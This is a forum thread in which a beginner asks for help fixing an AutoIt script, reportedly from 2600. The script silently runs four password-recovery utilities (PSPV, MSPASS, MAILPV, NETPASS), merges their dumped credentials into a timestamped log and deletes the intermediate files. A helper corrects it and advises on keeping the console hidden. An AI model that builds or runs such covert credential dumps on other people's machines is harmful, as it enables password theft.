Jump to content

New, Need Simple Help


Recommended Posts

this is a script from 2600 that will run a few programs and take all the info and put them into one text file...

however when i run it i get an error starting on the first line that says missing closing quote.. no matter how i arranged the quotes, i keep getting that error. anyone please help me , and tell me how my syntax is wrong?]

thanks

test.au3

Edited by drumeugene
Link to comment
Share on other sites

fixed checking errors

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\MSPASS.exe /stext..\Password\New\MSPASS.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\MAILPV.exe /stext..\Password\New\mailpv.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\NETPASS.exe /stext..\Password\New\NETPASS.txt"', @ScriptDir, @SW_HIDE)
sleep(1000)

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt" ',  @ScriptDir, @SW_HIDE)

sleep(1000)

Dim $DateTime, $Location, $FileName
$DateTime = @YEAR & "_" & @MON & "_" & @MDAY & " " & @HOUR & "_" & @MIN & "-" & @SEC
$Location = @WorkingDir & '\new\'
$FileName = "all.txt"
FileMove($Location & $FileName , $Location & $DateTime & ".log", 1)
sleep(2000)

Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)
sleep(1000)

did not check syntax run errors

8)

NEWHeader1.png

Link to comment
Share on other sites

your PM

thanks for the checking, u said run syntax check, and it allows you to fix the errors?

how do u do that?

also, i ran the corrected code u gave me, and it ran now without errors.

However, once the script was finished running, took about 5 secs, i didnt have any files that gave me what i wanted.

basically i want to run those 4 programs silently, and create a text file with the results of all four programs, with a time stamp on it. any advice or changes? any thing i need to setup in the directories, besides having the programs there?

i got the script from 2600, so it should do what i want, but its not. I just started with autoit last night, but i once i get the hang of it , youll probably see a lot more from me, i seem to enjoy it.

well thanks in advance.

1

i only help in the forums

2

I fixed the errors with "SciTE" editor..

to get everything you will need and learn alot quickly go here...

http://www.autoitscript.com/forum/index.php?showtopic=21048#

3

to run "hidden" cmd replace /k with /c

example

Run(@ComSpec & ' /k... blah

to

Run(@ComSpec & ' /c ... blah

4

i think this line errases the text file

Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)

so place a ";" in front of that line to "comment-out" that line.. like this

;Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)

hope that helps... see the tutorial... it will help also ( in my signature below)

8)

Edited by Valuater

NEWHeader1.png

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...